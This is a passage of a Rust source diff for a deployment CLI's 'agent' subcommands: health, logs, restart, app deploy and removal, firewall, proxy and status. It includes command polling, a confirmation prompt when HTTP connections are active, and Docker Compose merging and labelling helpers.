ctx.client.agent_enqueue(request).await?; + let command_id = info.command_id.clone(); + let deployment_hash = request.deployment_hash.clone(); + + let deadline = tokio::time::Instant::now() + std::time::Duration::from_secs(timeout); + let interval = std::time::Duration::from_secs(DEFAULT_POLL_INTERVAL_SECS); + let mut last_status = "pending".to_string(); + + loop { + tokio::time::sleep(interval).await; + + if tokio::time::Instant::now() >= deadline { + return Err(CliError::AgentCommandTimeout { + command_id: command_id.clone(), + command_type: spinner_msg.to_string(), + last_status, + deployment_hash, + }); + } + + let status = ctx + .client + .agent_command_status(&deployment_hash, &command_id) + .await?; + + last_status = status.status.clone(); + progress::update_message(&pb, &format!("{} [{}]", spinner_msg, status.status)); + + match status.status.as_str() { + "completed" => { + if let Some(error) = agent_command_error_message(&status) { + return Err(CliError::AgentCommandFailed { + command_id: command_id.clone(), + error, + }); + } + return Ok(status); + } + "failed" | "cancelled" => { + let error = agent_command_error_message(&status).unwrap_or_else(|| { + format!("Agent command ended with status '{}'", status.status) + }); + return Err(CliError::AgentCommandFailed { + command_id: command_id.clone(), + error, + }); + } + _ => continue, + } + } + }); + + match &result { + Ok(_) => progress::finish_success(&pb, spinner_msg), + Err(e) => { + let short_msg = match e { + CliError::AgentCommandTimeout { .. } => { + format!("{} — timed out", spinner_msg) + } + CliError::AgentCommandFailed { error, .. } => { + format!("{} — {}", spinner_msg, error) + } + _ => { + format!("{} — {}", spinner_msg, e) + } + }; + progress::finish_error(&pb, &short_msg); + } + } + + result +} + +/// Pretty-print an `AgentCommandInfo` result. +fn print_command_result(info: &AgentCommandInfo, json: bool) { + if json { + if let Ok(j) = serde_json::to_string_pretty(info) { + println!("{}", j); + } + return; + } + + println!("Command: {}", info.command_id); + println!("Type: {}", info.command_type); + println!( + "Status: {} {}", + progress::status_icon(&info.status), + info.status + ); + + if let Some(ref result) = info.result { + println!("\n{}", fmt::pretty_json(result)); + } + + if let Some(error) = agent_command_error_message(info) { + eprintln!("\nError: {}", error); + } +} + +/// Pre-flight connection check for risky agent commands. +/// +/// Enqueues a `check_connections` command to the agent and, if active HTTP +/// connections are found, prompts the user interactively. When `force` is +/// `true` the prompt is skipped and execution continues regardless. +/// +/// Returns `Ok(())` when it's safe to proceed, or a `CliError` when the user +/// aborts or the prompt cannot be answered. +fn check_active_connections(ctx: &CliRuntime, hash: &str, force: bool) -> Result<(), CliError> { + let params = crate::forms::status_panel::CheckConnectionsCommandRequest { ports: None }; + let request = AgentEnqueueRequest::new(hash, "check_connections") + .with_parameters(¶ms) + .map_err(|e| CliError::ConfigValidation(format!("check_connections parameters: {}", e)))?; + + let pb = progress::spinner("Checking active connections"); + let info = match ctx.block_on(execute_agent_command(ctx, &request, 15)) { + Ok(info) => { + progress::finish_success(&pb, "Checking active connections"); + info + } + Err(err) => { + // Non-fatal: if the check times out or fails we warn but proceed. + progress::finish_warning(&pb, "Checking active connections — skipped"); + let reason = if matches!(err, CliError::AgentCommandTimeout { .. }) { + "agent did not respond in time" + } else { + "agent could not verify active connections" + }; + eprintln!("\x1b[33m⚠ Connection check skipped ({})\x1b[0m", reason); + return Ok(()); + } + }; + + if info.status != "completed" { + return Ok(()); + } + + let result = match &info.result { + Some(r) => r.clone(), + None => return Ok(()), + }; + + let active: u64 = result + .get("active_connections") + .and_then(|v| v.as_u64()) + .unwrap_or(0); + + if active == 0 { + return Ok(()); + } + + // Print a per-port table. + eprintln!( + "\n\x1b[33m⚠ {} active HTTP connection(s) detected:\x1b[0m", + active + ); + if let Some(ports) = result.get("ports").and_then(|v| v.as_array()) { + for entry in ports { + let port = entry.get("port").and_then(|v| v.as_u64()).unwrap_or(0); + let conns = entry + .get("connections") + .and_then(|v| v.as_u64()) + .unwrap_or(0); + if conns > 0 { + eprintln!(" port {:5} — {} connection(s)", port, conns); + } + } + } + eprintln!(); + + if force { + eprintln!("\x1b[2m(--force supplied, proceeding without confirmation)\x1b[0m"); + return Ok(()); + } + + // Interactive prompt. + eprint!("Proceed anyway? [y/N] "); + let mut input = String::new(); + std::io::stdin() + .read_line(&mut input) + .map_err(CliError::Io)?; + + match input.trim().to_lowercase().as_str() { + "y" | "yes" => Ok(()), + _ => Err(CliError::ConfigValidation( + "Aborted: active connections detected. Re-run with --force to skip this check." + .to_string(), + )), + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Individual agent commands +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +// ── Health ─────────────────────────────────────────── + +/// `stacker agent health [--app ] [--json] [--deployment ]` +pub struct AgentHealthCommand { + pub app_code: Option, + pub json: bool, + pub deployment: Option, + pub include_system: bool, +} + +impl AgentHealthCommand { + pub fn new( + app_code: Option, + json: bool, + deployment: Option, + include_system: bool, + ) -> Self { + Self { + app_code, + json, + deployment, + include_system, + } + } +} + +impl CallableTrait for AgentHealthCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("agent health")?; + let hash = resolve_deployment_hash(&self.deployment, &ctx)?; + + let params = crate::forms::status_panel::HealthCommandRequest { + app_code: self.app_code.clone().unwrap_or_else(|| "all".to_string()), + container: None, + include_metrics: true, + include_system: self.include_system, + }; + + let request = AgentEnqueueRequest::new(&hash, "health") + .with_parameters(¶ms) + .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?; + + let info = run_agent_command(&ctx, &request, "Checking health", DEFAULT_TIMEOUT_SECS)?; + print_command_result(&info, self.json); + Ok(()) + } +} + +// ── Logs ───────────────────────────────────────────── + +/// `stacker agent logs [app] [--limit N] [--json] [--deployment ]` +pub struct AgentLogsCommand { + pub app_code: Option, + pub limit: Option, + pub json: bool, + pub deployment: Option, +} + +impl AgentLogsCommand { + pub fn new( + app_code: Option, + limit: Option, + json: bool, + deployment: Option, + ) -> Self { + Self { + app_code, + limit, + json, + deployment, + } + } +} + +impl CallableTrait for AgentLogsCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("agent logs")?; + let hash = resolve_deployment_hash(&self.deployment, &ctx)?; + let limit = self.limit.unwrap_or(400); + + let targets = match &self.app_code { + Some(app) => vec![app.clone()], + None => vec!["statuspanel".to_string(), "statuspanel_agent".to_string()], + }; + + let mut results = Vec::new(); + for app_code in targets { + let info = run_logs_command(&ctx, &hash, &app_code, limit)?; + if !self.json { + println!("\n== Logs: {} ==", app_code); + print_command_result(&info, false); + } + results.push(info); + } + + if self.json { + let value = serde_json::to_value(&results) + .map_err(|e| CliError::ConfigValidation(format!("Failed to encode logs: {}", e)))?; + println!("{}", fmt::pretty_json(&value)); + } + Ok(()) + } +} + +// ── Restart ────────────────────────────────────────── + +/// `stacker agent restart [--force] [--json] [--deployment ]` +pub struct AgentRestartCommand { + pub app_code: String, + pub force: bool, + pub json: bool, + pub deployment: Option, +} + +impl AgentRestartCommand { + pub fn new(app_code: String, force: bool, json: bool, deployment: Option) -> Self { + Self { + app_code, + force, + json, + deployment, + } + } +} + +impl CallableTrait for AgentRestartCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("agent restart")?; + let hash = resolve_deployment_hash(&self.deployment, &ctx)?; + + check_active_connections(&ctx, &hash, self.force)?; + + let params = crate::forms::status_panel::RestartCommandRequest { + app_code: self.app_code.clone(), + container: None, + force: self.force, + }; + + let request = AgentEnqueueRequest::new(&hash, "restart") + .with_parameters(¶ms) + .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?; + + let info = run_agent_command( + &ctx, + &request, + &format!("Restarting {}", self.app_code), + DEFAULT_TIMEOUT_SECS, + )?; + print_command_result(&info, self.json); + Ok(()) + } +} + +// ── Deploy App ─────────────────────────────────────── + +/// `stacker agent deploy-app [--image ] [--force] [--runtime ] [--json] [--deployment ]` +pub struct AgentDeployAppCommand { + pub app_code: String, + pub image: Option, + pub force_recreate: bool, + pub runtime: String, + pub json: bool, + pub deployment: Option, + pub environment: Option, + pub plan: bool, + pub apply_plan: Option, +} + +impl AgentDeployAppCommand { + pub fn new( + app_code: String, + image: Option, + force_recreate: bool, + runtime: String, + json: bool, + deployment: Option, + environment: Option, + ) -> Self { + Self { + app_code, + image, + force_recreate, + runtime, + json, + deployment, + environment, + plan: false, + apply_plan: None, + } + } + + pub fn with_plan(mut self, plan: bool) -> Self { + self.plan = plan; + self + } + + pub fn with_apply_plan(mut self, apply_plan: Option) -> Self { + self.apply_plan = apply_plan; + self + } +} + +impl CallableTrait for AgentDeployAppCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("agent deploy-app")?; + let hash = resolve_deployment_hash(&self.deployment, &ctx)?; + + if self.plan { + return crate::console::commands::cli::deployment::run_remote_deployment_plan( + Some(&hash), + crate::services::DeployPlanOperation::DeployApp, + Some(&self.app_code), + None, + None, + ); + } + + if let Some(fingerprint) = self.apply_plan.as_deref() { + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + let config_path = project_dir.join("stacker.yml"); + let config = StackerConfig::from_file(&config_path)? + .with_resolved_deploy_target(None) + .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?; + let base_url = + crate::console::commands::cli::status::resolve_stacker_base_url(&ctx.creds); + let validated_plan = ctx.block_on(async { + crate::console::commands::cli::deployment::fetch_remote_deployment_plan( + &config, + &base_url, + &ctx.client, + Some(&hash), + crate::services::DeployPlanOperation::DeployApp, + Some(&self.app_code), + None, + Some(fingerprint), + ) + .await + })?; + if !validated_plan.has_changes { + println!( + "Plan already satisfied for {}. Nothing to apply.", + validated_plan.deployment_hash + ); + return Ok(()); + } + } + + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + + check_active_connections(&ctx, &hash, self.force_recreate)?; + let local_config = local_config_files_for_agent_deploy( + &project_dir, + &self.app_code, + self.environment.as_deref(), + )?; + for notice in &local_config.notices { + eprintln!(" ⚠ {notice}"); + } + + let params = crate::forms::status_panel::DeployAppCommandRequest { + app_code: self.app_code.clone(), + compose_content: local_config.compose_content, + image: self.image.clone(), + env_vars: None, + pull: true, + force_recreate: self.force_recreate, + force_config_overwrite: self.force_recreate, + runtime: self.runtime.clone(), + registry_auth: resolve_registry_auth_for_agent_deploy(&project_dir), + config_files: local_config.config_files, + }; + + let request = AgentEnqueueRequest::new(&hash, "deploy_app") + .with_parameters(¶ms) + .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))? + .with_timeout(300); + + let info = run_agent_command(&ctx, &request, &format!("Deploying {}", self.app_code), 300)?; + print_command_result(&info, self.json); + Ok(()) + } +} + +#[derive(Debug, Default)] +struct LocalDeployAppConfig { + compose_content: Option, + config_files: Option>, + notices: Vec, +} + +fn local_config_files_for_agent_deploy( + project_dir: &Path, + app_code: &str, + environment_override: Option<&str>, +) -> Result { + let mut result = LocalDeployAppConfig::default(); + let config_path = project_dir.join("stacker.yml"); + if !config_path.exists() { + return Ok(result); + } + + let active_target = + crate::cli::deployment_lock::DeploymentLock::read_active_target(project_dir)?; + let mut config = StackerConfig::from_file(&config_path)? + .with_resolved_deploy_target(active_target.as_deref())?; + let active_environment = read_active_environment(project_dir)?; + let requested_environment = environment_override.or(active_environment.as_deref()); + let Some((environment, environment_config)) = + config.resolve_environment_config(requested_environment)? + else { + return Ok(result); + }; + + if environment_override.is_none() && active_environment.is_none() { + if let Some(active_target) = active_target.as_deref() { + if active_target != "local" && environment == "local" { + result.notices.push(format!( + "Active target is '{}', but resolved environment is 'local'; use `stacker agent deploy-app {} --env prod` or `stacker env prod` if this should use production config.", + active_target, app_code + )); + } + } + } + + if let Some(compose_file) = environment_config.compose_file { + config.deploy.compose_file = Some(compose_file); + } + if let Some(env_file) = environment_config.env_file { + config.env_file = Some(env_file); + } + + let Some(configured_compose_file) = config.deploy.compose_file.as_ref() else { + return Ok(result); + }; + let configured_compose_path = resolve_compose_path(project_dir, configured_compose_file); + if !configured_compose_path.exists() { + return Ok(result); + } + let app_local_compose_path = app_local_compose_path(project_dir, app_code, &environment); + let compose_path = if app_local_compose_path.exists() { + app_local_compose_path.as_path() + } else { + configured_compose_path.as_path() + }; + + if !compose_service_has_env_file(&compose_path, app_code)? { + let conventional_env = project_dir + .join(app_code) + .join("docker") + .join(&environment) + .join(".env"); + if conventional_env.exists() { + result.notices.push(format!( + "{} exists, but service '{}' in {} has no env_file entry; Docker Compose will not inject local or remote-rendered env values into that container.", + conventional_env.display(), + app_code, + compose_path.display() + )); + } + } + + let bundle = if compose_path == configured_compose_path.as_path() { + let mut bundle = build_config_bundle( + project_dir, + &environment, + &configured_compose_path, + config.env_file.as_deref(), + )?; + if materialize_stacker_service_in_bundle(&mut bundle, &config, app_code)? { + result.notices.push(format!( + "Materialized service '{}' from stacker.yml into the remote compose payload.", + app_code + )); + } + bundle + } else { + let app_bundle = build_config_bundle(project_dir, &environment, compose_path, None)?; + let project_compose = std::fs::read_to_string(&configured_compose_path).map_err(|err| { + CliError::ConfigValidation(format!( + "failed to read project compose {}: {}", + configured_compose_path.display(), + err + )) + })?; + let app_compose = bundle_compose_content(&app_bundle)?; + result.compose_content = Some(merge_compose_service( + &project_compose, + &app_compose, + app_code, + )?); + app_bundle + }; + + if result.compose_content.is_none() { + result.compose_content = Some(bundle_compose_content(&bundle)?); + } + if let Some(compose_content) = result.compose_content.take() { + let lock = crate::cli::deployment_lock::DeploymentLock::load_active(project_dir)?; + let target_label = active_target + .clone() + .or_else(|| lock.as_ref().map(|lock| lock.target.clone())); + let project_id_label = lock + .and_then(|lock| lock.project_id) + .map(|project_id| project_id.to_string()); + result.compose_content = Some(annotate_project_compose_with_stacker_labels( + &compose_content, + target_label.as_deref(), + project_id_label.as_deref(), + )?); + } + + let deploy_config_files: Vec<_> = bundle + .config_files + .into_iter() + .filter(|file| { + file.get("destination_path") + .and_then(|path| path.as_str()) + .map(|path| path != "docker-compose.yml") + .unwrap_or(false) + }) + .collect(); + if !deploy_config_files.is_empty() { + result.config_files = Some(deploy_config_files); + } + Ok(result) +} + +fn bundle_compose_content( + bundle: &crate::cli::config_bundle::ConfigBundleArtifacts, +) -> Result { + bundle + .config_files + .iter() + .find(|file| file.get("name").and_then(|name| name.as_str()) == Some("docker-compose.yml")) + .and_then(|file| file.get("content").and_then(|content| content.as_str())) + .map(ToOwned::to_owned) + .ok_or_else(|| { + CliError::ConfigValidation("config bundle missing docker-compose.yml".into()) + }) +} + +fn materialize_stacker_service_in_bundle( + bundle: &mut ConfigBundleArtifacts, + config: &StackerConfig, + app_code: &str, +) -> Result { + let compose = bundle_compose_content(bundle)?; + let updated = merge_stacker_config_service(&compose, config, app_code)?; + if updated == compose { + return Ok(false); + } + + std::fs::write(&bundle.remote_compose_path, &updated)?; + if let Some(file) = bundle.config_files.iter_mut().find(|file| { + file.get("destination_path").and_then(|path| path.as_str()) == Some("docker-compose.yml") + }) { + file["content"] = serde_json::Value::String(updated); + } + Ok(true) +} + +fn merge_stacker_config_service( + project_compose: &str, + config: &StackerConfig, + app_code: &str, +) -> Result { + let project_doc: serde_yaml::Value = serde_yaml::from_str(project_compose)?; + let service_exists = project_doc + .as_mapping() + .and_then(|root| root.get(serde_yaml::Value::String("services".to_string()))) + .and_then(serde_yaml::Value::as_mapping) + .map(|services| services.contains_key(serde_yaml::Value::String(app_code.to_string()))) + .unwrap_or(false); + if service_exists + || !config + .services + .iter() + .any(|service| service.name == app_code) + { + return Ok(project_compose.to_string()); + } + + let generated_compose = ComposeDefinition::try_from(config)?.render(); + merge_compose_service(project_compose, &generated_compose, app_code) +} + +fn merge_compose_service( + project_compose: &str, + app_compose: &str, + app_code: &str, +) -> Result { + let mut project_doc: serde_yaml::Value = serde_yaml::from_str(project_compose)?; + let app_doc: serde_yaml::Value = serde_yaml::from_str(app_compose)?; + + let mut app_service = app_doc + .as_mapping() + .and_then(|root| root.get(serde_yaml::Value::String("services".to_string()))) + .and_then(serde_yaml::Value::as_mapping) + .and_then(|services| services.get(serde_yaml::Value::String(app_code.to_string()))) + .cloned() + .ok_or_else(|| { + CliError::ConfigValidation(format!( + "app-local compose does not define service '{app_code}'" + )) + })?; + let should_merge_networks = !project_service_networks(&project_doc).is_empty(); + align_service_networks_with_project(&mut app_service, &project_doc); + + let project_services = project_doc + .as_mapping_mut() + .and_then(|root| root.get_mut(serde_yaml::Value::String("services".to_string()))) + .and_then(serde_yaml::Value::as_mapping_mut) + .ok_or_else(|| { + CliError::ConfigValidation("project compose does not define services".into()) + })?; + project_services.insert(serde_yaml::Value::String(app_code.to_string()), app_service); + + if should_merge_networks { + merge_compose_top_level_mapping(&mut project_doc, &app_doc, "networks"); + } + merge_compose_top_level_mapping(&mut project_doc, &app_doc, "volumes"); + + serde_yaml::to_string(&project_doc) + .map_err(|err| CliError::ConfigValidation(format!("failed to merge compose: {err}"))) +} + +fn annotate_project_compose_with_stacker_labels( + compose_content: &str, + target: Option<&str>, + project_id: Option<&str>, +) -> Result { + let mut doc: serde_yaml::Value = serde_yaml::from_str(compose_content)?; + let services = doc + .as_mapping_mut() + .and_then(|root| root.get_mut(serde_yaml::Value::String("services".to_string()))) + .and_then(serde_yaml::Value::as_mapping_mut) + .ok_or_else(|| CliError::ConfigValidation("compose does not define services".into()))?; + + for (service_name, service) in services { + let Some(service_name) = service_name.as_str().map(ToOwned::to_owned) else { + continue; + }; + let Some(service_map) = service.as_mapping_mut() else { + continue; + }; + let labels_key = serde_yaml::Value::String("labels".to_string()); + let mut labels = service_map + .remove(&labels_key) + .map(compose_labels_to_mapping) + .unwrap_or_default(); + + insert_compose_label( + &mut labels, + crate::helpers::stacker_labels::SCOPE, + crate::helpers::stacker_labels::SCOPE_PROJECT, + ); + insert_compose_label( + &mut labels, + crate::helpers::stacker_labels::SERVICE, + &service_name, + ); + insert_compose_label( + &mut labels, + crate::helpers::stacker_labels::DNS, + &service_name, + ); + if let Some(target) = target.filter(|value| !value.trim().is_empty()) { + insert_compose_label(&mut labels, crate::helpers::stacker_labels::TARGET, target); + } + if let Some(project_id) = project_id.filter(|value| !value.trim().is_empty()) { + insert_compose_label( + &mut labels, + crate::helpers::stacker_labels::PROJECT_ID, + project_id, + ); + } + + service_map.insert(labels_key, serde_yaml::Value::Mapping(labels)); + } + + serde_yaml::to_string(&doc) + .map_err(|err| CliError::ConfigValidation(format!("failed to annotate compose: {err}"))) +} + +fn compose_labels_to_mapping(value: serde_yaml::Value) -> serde_yaml::Mapping { + match value { + serde_yaml::Value::Mapping(mapping) => mapping, + serde_yaml::Value::Sequence(items) => items + .into_iter() + .filter_map(|item| { + let label = item.as_str()?; + let (key, value) = label.split_once('=')?; + Some(( + serde_yaml::Value::String(key.to_string()), + serde_yaml::Value::String(value.to_string()), + )) + }) + .collect(), + _ => serde_yaml::Mapping::new(), + } +} + +fn insert_compose_label(labels: &mut serde_yaml::Mapping, key: &str, value: &str) { + labels.insert( + serde_yaml::Value::String(key.to_string()), + serde_yaml::Value::String(value.to_string()), + ); +} + +fn align_service_networks_with_project( + app_service: &mut serde_yaml::Value, + project_doc: &serde_yaml::Value, +) { + let project_networks = project_service_networks(project_doc); + let Some(service_map) = app_service.as_mapping_mut() else { + return; + }; + let networks_key = serde_yaml::Value::String("networks".to_string()); + if project_networks.is_empty() { + service_map.remove(&networks_key); + return; + } + + service_map.insert( + networks_key, + serde_yaml::Value::Sequence( + project_networks + .into_iter() + .map(serde_yaml::Value::String) + .collect(), + ), + ); +} + +fn project_service_networks(project_doc: &serde_yaml::Value) -> Vec { + let Some(project_services) = project_doc + .as_mapping() + .and_then(|root| root.get(serde_yaml::Value::String("services".to_string()))) + .and_then(serde_yaml::Value::as_mapping) + else { + return Vec::new(); + }; + + let mut networks = Vec::new(); + for service in project_services.values() { + let Some(networks_value) = service + .as_mapping() + .and_then(|service| service.get(serde_yaml::Value::String("networks".to_string()))) + else { + continue; + }; + collect_network_names(networks_value, &mut networks); + } + networks +} + +fn collect_network_names(value: &serde_yaml::Value, networks: &mut Vec) { + match value { + serde_yaml::Value::String(name) => push_unique_network(networks, name), + serde_yaml::Value::Sequence(items) => { + for item in items { + if let Some(name) = item.as_str() { + push_unique_network(networks, name); + } + } + } + serde_yaml::Value::Mapping(map) => { + for key in map.keys() { + if let Some(name) = key.as_str() { + push_unique_network(networks, name); + } + } + } + _ => {} + } +} + +fn push_unique_network(networks: &mut Vec, name: &str) { + if !networks.iter().any(|existing| existing == name) { + networks.push(name.to_string()); + } +} + +fn merge_compose_top_level_mapping( + project_doc: &mut serde_yaml::Value, + app_doc: &serde_yaml::Value, + key: &str, +) { + let Some(app_mapping) = app_doc + .as_mapping() + .and_then(|root| root.get(serde_yaml::Value::String(key.to_string()))) + .and_then(serde_yaml::Value::as_mapping) + else { + return; + }; + + let Some(project_root) = project_doc.as_mapping_mut() else { + return; + }; + let project_key = serde_yaml::Value::String(key.to_string()); + if !project_root.contains_key(&project_key) { + project_root.insert( + project_key.clone(), + serde_yaml::Value::Mapping(Default::default()), + ); + } + let Some(project_mapping) = project_root + .get_mut(&project_key) + .and_then(serde_yaml::Value::as_mapping_mut) + else { + return; + }; + + for (name, value) in app_mapping { + project_mapping.insert(name.clone(), value.clone()); + } +} + +fn resolve_compose_path(project_dir: &Path, compose_file: &Path) -> PathBuf { + if compose_file.is_absolute() { + compose_file.to_path_buf() + } else { + project_dir.join(compose_file) + } +} + +fn app_local_compose_path(project_dir: &Path, app_code: &str, environment: &str) -> PathBuf { + project_dir + .join(app_code) + .join("docker") + .join(environment) + .join("compose.yml") +} + +fn active_environment_path(project_dir: &Path) -> std::path::PathBuf { + project_dir.join(".stacker").join("active-env") +} + +fn read_active_environment(project_dir: &Path) -> Result, CliError> { + let path = active_environment_path(project_dir); + if !path.exists() { + return Ok(None); + } + + let value = std::fs::read_to_string(path).map_err(CliError::Io)?; + let value = value.trim().to_string(); + if value.is_empty() { + Ok(None) + } else { + Ok(Some(value)) + } +} + +fn compose_service_has_env_file(compose_path: &Path, app_code: &str) -> Result { + let raw = std::fs::read_to_string(compose_path).map_err(CliError::Io)?; + let doc: serde_yaml::Value = serde_yaml::from_str(&raw)?; + let Some(service) = doc + .as_mapping() + .and_then(|root| root.get(serde_yaml::Value::String("services".to_string()))) + .and_then(serde_yaml::Value::as_mapping) + .and_then(|services| services.get(serde_yaml::Value::String(app_code.to_string()))) + .and_then(serde_yaml::Value::as_mapping) + else { + return Ok(false); + }; + + Ok(service + .get(serde_yaml::Value::String("env_file".to_string())) + .is_some()) +} + +// ── Remove App ─────────────────────────────────────── + +/// `stacker agent remove-app [--volumes] [--force] [--json] [--deployment ]` +pub struct AgentRemoveAppCommand { + pub app_code: String, + pub remove_volumes: bool, + pub remove_image: bool, + pub force: bool, + pub json: bool, + pub deployment: Option, +} + +impl AgentRemoveAppCommand { + pub fn new( + app_code: String, + remove_volumes: bool, + remove_image: bool, + force: bool, + json: bool, + deployment: Option, + ) -> Self { + Self { + app_code, + remove_volumes, + remove_image, + force, + json, + deployment, + } + } +} + +impl CallableTrait for AgentRemoveAppCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("agent remove-app")?; + let hash = resolve_deployment_hash(&self.deployment, &ctx)?; + + check_active_connections(&ctx, &hash, self.force)?; + + let params = crate::forms::status_panel::RemoveAppCommandRequest { + app_code: self.app_code.clone(), + delete_config: true, + remove_volumes: self.remove_volumes, + remove_image: self.remove_image, + }; + + let request = AgentEnqueueRequest::new(&hash, "remove_app") + .with_parameters(¶ms) + .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?; + + let info = run_agent_command( + &ctx, + &request, + &format!("Removing {}", self.app_code), + DEFAULT_TIMEOUT_SECS, + )?; + print_command_result(&info, self.json); + Ok(()) + } +} + +// ── Configure Firewall ─────────────────────────────── + +/// `stacker agent configure-firewall [--action add] [--public-ports 80/tcp,443/tcp] [--private-ports 5432/tcp:10.0.0.0/8] [--force] [--json] [--deployment ]` +pub struct AgentConfigureFirewallCommand { + pub action: String, + pub app_code: Option, + pub public_ports: Vec, + pub private_ports: Vec, + pub persist: bool, + pub force: bool, + pub json: bool, + pub deployment: Option, +} + +impl AgentConfigureFirewallCommand { + pub fn new( + action: String, + app_code: Option, + public_ports: Vec, + private_ports: Vec, + persist: bool, + force: bool, + json: bool, + deployment: Option, + ) -> Self { + Self { + action, + app_code, + public_ports, + private_ports, + persist, + force, + json, + deployment, + } + } + + fn parse_public_port(s: &str) -> Result { + crate::forms::firewall::parse_public_port(s) + } + + fn parse_private_port(s: &str) -> Result { + crate::forms::firewall::parse_private_port(s) + } +} + +impl CallableTrait for AgentConfigureFirewallCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("agent configure-firewall")?; + let hash = resolve_deployment_hash(&self.deployment, &ctx)?; + + check_active_connections(&ctx, &hash, self.force)?; + + let public: Vec = self + .public_ports + .iter() + .map(|s| Self::parse_public_port(s)) + .collect::, _>>() + .map_err(|e| CliError::ConfigValidation(e))?; + + let private: Vec = self + .private_ports + .iter() + .map(|s| Self::parse_private_port(s)) + .collect::, _>>() + .map_err(|e| CliError::ConfigValidation(e))?; + + let params = crate::forms::status_panel::ConfigureFirewallCommandRequest { + app_code: self.app_code.clone(), + public_ports: public, + private_ports: private, + action: self.action.clone(), + persist: self.persist, + }; + + let request = AgentEnqueueRequest::new(&hash, "configure_firewall") + .with_parameters(¶ms) + .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?; + + let info = run_agent_command( + &ctx, + &request, + &format!("Configuring firewall ({})", self.action), + DEFAULT_TIMEOUT_SECS, + )?; + print_command_result(&info, self.json); + Ok(()) + } +} + +// ── Configure Proxy ────────────────────────────────── + +/// `stacker agent configure-proxy --domain --port

[--no-ssl] [--force] [--json] [--deployment ]` +pub struct AgentConfigureProxyCommand { + pub app_code: String, + pub domain: String, + pub port: u16, + pub ssl: bool, + pub action: String, + pub force: bool, + pub json: bool, + pub deployment: Option, +} + +impl AgentConfigureProxyCommand { + pub fn new( + app_code: String, + domain: String, + port: u16, + ssl: bool, + no_ssl: bool, + action: String, + force: bool, + json: bool, + deployment: Option, + ) -> Self { + let ssl = ssl && !no_ssl; + Self { + app_code, + domain, + port, + ssl, + action, + force, + json, + deployment, + } + } +} + +impl CallableTrait for AgentConfigureProxyCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("agent configure-proxy")?; + let hash = resolve_deployment_hash(&self.deployment, &ctx)?; + + check_active_connections(&ctx, &hash, self.force)?; + + let params = crate::forms::status_panel::ConfigureProxyCommandRequest { + app_code: self.app_code.clone(), + domain_names: vec![self.domain.clone()], + forward_host: None, + forward_port: self.port, + ssl_enabled: self.ssl, + ssl_forced: self.ssl, + http2_support: self.ssl, + action: self.action.clone(), + }; + + let request = AgentEnqueueRequest::new(&hash, "configure_proxy") + .with_parameters(¶ms) + .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?; + + let info = run_agent_command( + &ctx, + &request, + &format!("Configuring proxy for {}", self.app_code), + DEFAULT_TIMEOUT_SECS, + )?; + print_command_result(&info, self.json); + Ok(()) + } +} + +// ── Status / Snapshot ──────────────────────────────── + +/// `stacker agent status [--json] [--deployment ]` +/// +/// Fetches the full deployment snapshot: agent info, recent commands, +/// container states. +pub struct AgentStatusCommand { + pub json: bool, + pub deployment: Option, +} + +impl AgentStatusCommand { + pub fn new(json: bool, deployment: Option) -> Self { + Self { json, deployment } + } +} + +impl CallableTrait for AgentStatusCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("agent status")?; + let hash = resolve_deployment_hash(&self.deployment, &ctx)?; + + let pb = progress::spinner("Fetching agent status"); + + let snapshot = ctx.block_on(ctx.client.agent_snapshot(&hash)); + + match snapshot { + Ok(snap) => { + let item = snapshot_item(&snap); + + let agent_status = item + .get("agent") + .and_then(|a| a.get("status")) + .and_then(|s| s.as_str()) + .unwrap_or("unknown"); + let version = item + .get("agent") + .and_then(|agent| agent_display_version(agent, None)); + let n_apps = item + .get("apps") + .and_then(|v| v.as_array()) + .map(|a| a.len()) + .unwrap_or(0); + let version_label = version + .as_deref() + .map(agent_version_label) + .unwrap_or_default(); + + progress::finish_success( + &pb, + &format!( + "Agent status fetched — {} {}{} · {} app(s)", + progress::status_icon(agent_status), + agent_status, + version_label, + n_apps, + ), + ); + let live_containers = match fetch_live_containers(&ctx, &hash) { + Ok(list) => list, + Err(err) => { + eprintln!("Warning: failed to fetch live containers: {}", err); + None + } + }; + + if self.json { + let mut output = item.clone(); + if let Some(list) = &live_containers { + if let Some(obj) = output.as_object_mut() { + obj.insert( + "containers_live".to_string(), + serde_json::Value::Array(list.clone()), + ); + } else { + output = serde_json::json!({ + "snapshot": output, + "containers_live": list, + }); + } + } + println!("{}", fmt::pretty_json(&output)); + } else { + print_snapshot_summary(item, live_containers.as_ref()); + } + } + Err(e) => { + progress::finish_error(&pb, &format!("Failed: {}", e)); + return Err(Box::new(e)); + } + } + + Ok(()) + } +} + +fn snapshot_item<'a>(snap: &'a serde_json::Value) -> &'a serde_json::Value { + snap.get("item").unwrap_or(snap) +} + +fn print_apps_summary(apps: &[serde_json::Value]) { + if apps.is_empty() { + println!("Apps: none"); + return; + } + + println!("{:<18} {:<22} {:<30} {}", "APP", "NAME", "IMAGE", "ENABLED"); + for app in apps { + let code = app.get("code").and_then(|v| v.as_str()).unwrap_or("-"); + let name = app.get("name").and_then(|v| v.as_str()).unwrap_or("-"); + let image = app.get("image").and_then(|v| v.as_str()).unwrap_or("-"); + let enabled = app.get("enabled").and_then(|v| v.as_bool()).unwrap_or(true); + println!( + "{:<18} {:<22} {:<30} {}", + fmt::truncate(code, 16), + fmt::truncate(name, 20), 